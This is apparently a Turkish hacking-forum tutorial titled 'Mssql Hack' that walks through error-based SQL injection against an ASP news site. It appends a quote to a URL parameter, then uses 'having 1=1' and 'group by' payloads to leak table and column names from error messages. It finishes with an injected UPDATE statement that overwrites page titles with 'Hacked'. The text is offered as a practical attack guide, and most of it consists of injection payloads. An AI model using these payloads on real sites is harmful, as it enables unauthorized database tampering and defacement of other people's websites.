Mssql Hack

Mssql Anlatımı:

Mssql Hata Vermemiz Lazım Hatayı 'a Yaparak Veriyoruz...

Örnek;http://www.hedefsite.com/haber_detay.asp?id=1'a Bu Şekildedir...

Update Yapmamız İçin Tablo Ve Kolan Adlarını Ögrenmemiz Gerektir...

Tablo Colum Adılarını Ögrenmek İçin Having 1=1 Yapıyoruz...


Örnek;[Linkleri görebilmek için üye olun veya giriş yapın.] having 1=1

Column 'news.title' is invalid in the select list because it is not contained

in an aggregate function and there is no GROUP BY clause.

Bu Sekılde Hata Alırsak news Tablosunda Title Columu Var Demektir...

Diger kolon adlarini bulmak icin

Örnek;[Linkleri görebilmek için üye olun veya giriş yapın.] group by title having 1=1

having 1=1 'den Önce Buldugumuz Kolon Adlarini Group by İle Birlikte Yazarak Diger

Kolon Adlarini Ögreniriz...

update+tablo adı+set+colum adı='Mesajınız';--

Örnek;[Linkleri görebilmek için üye olun veya giriş yapın.] update+news+set+title='Hacked';--

Yani Şu SEkilde Olur....

Bu Sekilde Update Yapilabiliriz...